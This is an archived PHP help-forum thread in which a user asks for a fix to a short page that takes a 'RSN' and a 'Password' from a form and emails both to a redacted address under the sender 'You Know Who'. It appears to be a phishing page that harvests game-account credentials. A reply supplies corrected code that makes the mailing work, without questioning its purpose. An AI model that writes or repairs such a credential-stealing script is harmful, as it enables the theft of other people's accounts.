Jump to content

Help with this coding?


`Yousef

Recommended Posts

Can anyone fix this up for me :)

 

#
<html>
#

#
<head>
#
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
#
<title>Tings</title>
#
</head>
#

#
<body>
#
RSN: <?php $_POST["detail"]; ?>.<br />
#
Password: <?php $_POST["email"]; ?>
#

#
<?php
#

#
$to = "[email protected]";
#
$subject = "Details";
#
$txt = "$_POST["detail"], $_POST["email"];
#
$headers = "From: You Know Who" . "\r\n" .
#
"CC: [email protected]";
#

#
mail($to,$subject,$txt,$headers);
#
?>
#
</body>
#

#
</html>

Link to comment
https://forums.phpfreaks.com/topic/133121-help-with-this-coding/
Share on other sites

replace this

<?php
#

#
$to = "[email protected]";
#
$subject = "Details";
#
$txt = "{$_POST['detail']}, {$_POST['email']}";
#
$headers = "From: You Know Who" . "\r\n" .
#
"CC: [email protected]" . "\r\n";
#

#
mail($to,$subject,$txt,$headers);
#
?>

 

Scott.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.